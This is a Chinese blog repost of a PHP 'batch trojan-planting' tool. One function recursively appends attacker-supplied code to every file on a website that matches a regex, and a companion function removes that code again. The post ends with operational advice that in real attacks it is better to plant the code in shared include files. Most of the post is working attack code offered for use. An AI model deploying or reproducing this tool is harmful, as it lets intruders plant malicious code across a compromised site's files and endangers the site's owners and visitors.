Chinaunix首页 | 论坛 | 博客
  • 博客访问: 7403704
  • 博文数量: 1756
  • 博客积分: 18684
  • 博客等级: 上将
  • 技术积分: 16232
  • 用 户 组: 普通用户
  • 注册时间: 2010-06-02 10:28
个人简介

啥也没写

文章分类

全部博文(1756)

文章存档

2024年(2)

2023年(44)

2022年(39)

2021年(46)

2020年(43)

2019年(27)

2018年(44)

2017年(50)

2016年(47)

2015年(15)

2014年(21)

2013年(43)

2012年(143)

2011年(228)

2010年(263)

2009年(384)

2008年(246)

2007年(30)

2006年(38)

2005年(2)

2004年(1)

分类:

2009-08-18 11:35:42

function gmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  gmfun($file);
   } else {
         if(@ereg(stripslashes($_POST["key"]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = @fopen (”$file”, “a”);
            @fwrite($handle, “$mm”);
            @fclose($handle);
            echo “已挂马文件:$file\n
”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}
function qmfun($path=”.”)
 {
 $d = @dir($path);
 while(false !== ($v = $d->read()))  {
 if($v == “.” || $v == “..”) continue;
 $file = $d->path.”/”.$v;
 if(@is_dir($file)) {
  qmfun($file);
   } else {
         if(@ereg(stripslashes($_POST["key"]),$file)) {
            $mm=stripcslashes( trim( $_POST[mm] ) );
            $handle = fopen (”$file”, “rb”);
            $oldcontent=fread($handle,filesize($file));
            fclose($handle);
            $newcontent=str_replace($mm,”",$oldcontent);
            $fw = fopen (”$file”, “wb”);
            fwrite($fw,$newcontent,strlen($newcontent));
            fclose($fw);
            echo “已清马文件:$file\n
”;
           
        }
    }
    }
    $d->close();
     echo ” “;
}

if ($_GET['action']==’gm’) {
    set_time_limit(0);
    gmfun($_POST["dir"]);
}
if ($_GET['action']==’qm’) {
    set_time_limit(0);
    qmfun($_POST["dir"]);
}
?>
批量挂马(清马)程序php版

?action=gm” method=”post”>
 
   
     
   
     
     
   
     
     
     
   
     
     
   
     
     
 
网站批量挂马程序php版
          BY n3tl04d

     
路径: (可填相对路径)
     
挂马关键字: —–正则表达式匹配——
     
想写入的挂马代码:’>
     

         
            
         
       


?action=qm” method=”post”>
 
   
     
   
     
     
   
     
     
     
   
     
     
   
     
     
 
批量清马工具php版
         BY 随风而去(LST)

     
路径: (可填相对路径)
     
清马关键字: —–正则表达式匹配——
     
想清除的挂马代码:’>
     

         
            
         
       


本程序是在n3tl04d的批量挂马的基础上修改而成,在此表示感谢

大家在实战中最好不要用批量挂马,能找共用的文件挂马就最好用共用的方法挂吧

做人要厚道

by 随风而去  07.12.06

 

阅读(858) | 评论(0) | 转发(0) |
0

上一篇:MySQL权限

下一篇:nginx-upstream-jvm-route

给主人留下些什么吧!~~